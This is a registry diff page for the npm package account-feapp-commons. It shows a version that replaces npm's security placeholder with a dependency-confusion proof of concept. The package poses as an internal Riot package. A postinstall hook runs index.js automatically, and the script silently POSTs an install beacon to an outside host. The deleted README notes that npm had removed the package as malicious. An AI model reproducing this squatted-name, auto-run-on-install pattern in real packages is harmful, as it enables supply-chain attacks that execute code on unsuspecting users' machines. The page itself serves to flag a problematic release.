account-feapp-commons 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of account-feapp-commons might be problematic. Click here for more details.
- package/index.js +31 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,31 @@
|
|
1
|
+
const http = require("http");
|
2
|
+
|
3
|
+
// Safe test function - only checks if the package runs
|
4
|
+
function sendTestPing() {
|
5
|
+
const options = {
|
6
|
+
hostname: "fc752763-953d-4be5-95b0-3874600c056c", // Use a server YOU control
|
7
|
+
port: 80,
|
8
|
+
method: "POST",
|
9
|
+
headers: { "Content-Type": "application/json" }
|
10
|
+
};
|
11
|
+
|
12
|
+
const req = http.request(options, (res) => {
|
13
|
+
res.on("data", () => {});
|
14
|
+
});
|
15
|
+
|
16
|
+
req.on("error", () => {}); // Fail silently to avoid breaking builds
|
17
|
+
|
18
|
+
req.write(JSON.stringify({
|
19
|
+
test: "dependency_confusion_poc",
|
20
|
+
time: new Date().toISOString(),
|
21
|
+
status: "package_installed" // No sensitive data collected
|
22
|
+
}));
|
23
|
+
|
24
|
+
req.end();
|
25
|
+
}
|
26
|
+
|
27
|
+
// Minimal safe check
|
28
|
+
(() => {
|
29
|
+
console.log("[TEST] Dependency Confusion Check - Safe Mode");
|
30
|
+
sendTestPing();
|
31
|
+
})();
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "account-feapp-commons",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "Fake internal Riot package for dependency confusion testing",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "bughunter",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=account-feapp-commons for more information.
|